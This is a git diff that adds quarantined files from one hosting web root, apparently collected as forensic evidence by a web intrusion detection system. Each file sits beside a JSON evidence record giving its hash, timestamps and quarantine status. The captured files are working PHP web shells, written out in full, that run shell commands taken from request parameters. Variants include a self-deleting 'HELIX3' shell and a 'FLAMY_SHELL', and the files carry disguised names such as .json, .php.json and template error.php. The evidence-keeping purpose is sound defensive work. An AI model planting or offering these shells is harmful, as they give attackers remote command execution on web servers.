diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..59dc51b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5264",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:plugins/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111737,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "plugins/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..9bc955a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5265",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:plugins/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111720,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "plugins/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..d9e2664
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5266",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:plugins/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110125,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "plugins/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..474d90b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5263",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:plugins/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/plugins/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110108,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "plugins/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..4aa413e
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4843",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111745,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..922f544
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4844",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111726,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..49880dd
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4854",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110133,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..9375d36
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4835",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110114,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/shadow.php.json b/var/www/hosting/archlinexp.eu/www/shadow.php.json
new file mode 100644
index 0000000..21681a5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/shadow.php.json
@@ -0,0 +1 @@
+[{"attr": [{"s": "<?php @error_reporting(0);echo'<!--SHADOW-->';if(isset($_GET['cmd'])){echo'<pre>';system($_GET['cmd']);echo'</pre>';}echo'<!--/SHADOW-->';?>"}]}]
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/shadow.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/shadow.php.json.evidence.json
new file mode 100644
index 0000000..51f3d03
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/shadow.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4920",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:shadow.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/shadow.php.json)",
+  "original_sha256": "20a99148c81f1de13f62a4370d9fcbbcf6222662555386320ed7a763e373c66e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783709524,
+    "size": 163,
+    "uid": 20043
+  },
+  "rel_path": "shadow.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/standard_iy4rsk.json.php5.json b/var/www/hosting/archlinexp.eu/www/standard_iy4rsk.json.php5.json
new file mode 100644
index 0000000..6e54986
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_iy4rsk.json.php5.json
@@ -0,0 +1 @@
+<?php header('X-HELIX3-CVE:1');if(isset($_GET['del'])){{@unlink(__FILE__);echo 'DELETED';exit;}}echo 'HELIX3_RCE_OK|';@system($_GET['c']);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/standard_iy4rsk.json.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/standard_iy4rsk.json.php5.json.evidence.json
new file mode 100644
index 0000000..15b8f89
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_iy4rsk.json.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "7171",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:standard_iy4rsk.json.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/standard_iy4rsk.json.php5.json)",
+  "original_sha256": "2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784314452,
+    "size": 140,
+    "uid": 20043
+  },
+  "rel_path": "standard_iy4rsk.json.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/standard_li88zp.json.php.json b/var/www/hosting/archlinexp.eu/www/standard_li88zp.json.php.json
new file mode 100644
index 0000000..6e54986
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_li88zp.json.php.json
@@ -0,0 +1 @@
+<?php header('X-HELIX3-CVE:1');if(isset($_GET['del'])){{@unlink(__FILE__);echo 'DELETED';exit;}}echo 'HELIX3_RCE_OK|';@system($_GET['c']);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/standard_li88zp.json.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/standard_li88zp.json.php.json.evidence.json
new file mode 100644
index 0000000..fccbabf
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_li88zp.json.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "7172",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:standard_li88zp.json.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/standard_li88zp.json.php.json)",
+  "original_sha256": "2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784314452,
+    "size": 140,
+    "uid": 20043
+  },
+  "rel_path": "standard_li88zp.json.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/standard_nnagpq.json.phtml.json b/var/www/hosting/archlinexp.eu/www/standard_nnagpq.json.phtml.json
new file mode 100644
index 0000000..6e54986
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_nnagpq.json.phtml.json
@@ -0,0 +1 @@
+<?php header('X-HELIX3-CVE:1');if(isset($_GET['del'])){{@unlink(__FILE__);echo 'DELETED';exit;}}echo 'HELIX3_RCE_OK|';@system($_GET['c']);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/standard_nnagpq.json.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/standard_nnagpq.json.phtml.json.evidence.json
new file mode 100644
index 0000000..37761d8
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_nnagpq.json.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "7178",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:standard_nnagpq.json.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/standard_nnagpq.json.phtml.json)",
+  "original_sha256": "2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784314451,
+    "size": 140,
+    "uid": 20043
+  },
+  "rel_path": "standard_nnagpq.json.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/standard_sda38a.json.php7.json b/var/www/hosting/archlinexp.eu/www/standard_sda38a.json.php7.json
new file mode 100644
index 0000000..6e54986
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_sda38a.json.php7.json
@@ -0,0 +1 @@
+<?php header('X-HELIX3-CVE:1');if(isset($_GET['del'])){{@unlink(__FILE__);echo 'DELETED';exit;}}echo 'HELIX3_RCE_OK|';@system($_GET['c']);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/standard_sda38a.json.php7.json.evidence.json b/var/www/hosting/archlinexp.eu/www/standard_sda38a.json.php7.json.evidence.json
new file mode 100644
index 0000000..6843a36
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/standard_sda38a.json.php7.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "7174",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:standard_sda38a.json.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/standard_sda38a.json.php7.json)",
+  "original_sha256": "2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784314453,
+    "size": 140,
+    "uid": 20043
+  },
+  "rel_path": "standard_sda38a.json.php7.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/ntxvq7b4jper.php.json b/var/www/hosting/archlinexp.eu/www/templates/ntxvq7b4jper.php.json
new file mode 100644
index 0000000..373d006
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/ntxvq7b4jper.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/ntxvq7b4jper.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/ntxvq7b4jper.php.json.evidence.json
new file mode 100644
index 0000000..d16a84b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/ntxvq7b4jper.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4955",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/ntxvq7b4jper.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/ntxvq7b4jper.php.json)",
+  "original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783427920,
+    "size": 212,
+    "uid": 20043
+  },
+  "rel_path": "templates/ntxvq7b4jper.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..4e38662
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4946",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111736,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "templates/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..7fbc579
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4947",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111719,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "templates/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..f71ff85
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4950",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110124,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "templates/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..37e71f8
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4945",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110107,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "templates/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/shaper_helix3/error.php.json b/var/www/hosting/archlinexp.eu/www/templates/shaper_helix3/error.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/shaper_helix3/error.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/shaper_helix3/error.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/shaper_helix3/error.php.json.evidence.json
new file mode 100644
index 0000000..75e492e
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/shaper_helix3/error.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4976",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/shaper_helix3/error.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/shaper_helix3/error.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111746,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "templates/shaper_helix3/error.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/shaper_helixultimate/up.php.json b/var/www/hosting/archlinexp.eu/www/templates/shaper_helixultimate/up.php.json
new file mode 100644
index 0000000..9df5b70
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/shaper_helixultimate/up.php.json
@@ -0,0 +1 @@
+<?php system($_GET['cmd']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/shaper_helixultimate/up.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/shaper_helixultimate/up.php.json.evidence.json
new file mode 100644
index 0000000..4b8e08e
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/shaper_helixultimate/up.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4969",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/shaper_helixultimate/up.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/shaper_helixultimate/up.php.json)",
+  "original_sha256": "86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784054645,
+    "size": 30,
+    "uid": 20043
+  },
+  "rel_path": "templates/shaper_helixultimate/up.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/up.php.json b/var/www/hosting/archlinexp.eu/www/templates/up.php.json
new file mode 100644
index 0000000..9df5b70
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/up.php.json
@@ -0,0 +1 @@
+<?php system($_GET['cmd']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/up.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/up.php.json.evidence.json
new file mode 100644
index 0000000..a33ead9
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/up.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4956",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/up.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/up.php.json)",
+  "original_sha256": "86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784054647,
+    "size": 30,
+    "uid": 20043
+  },
+  "rel_path": "templates/up.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
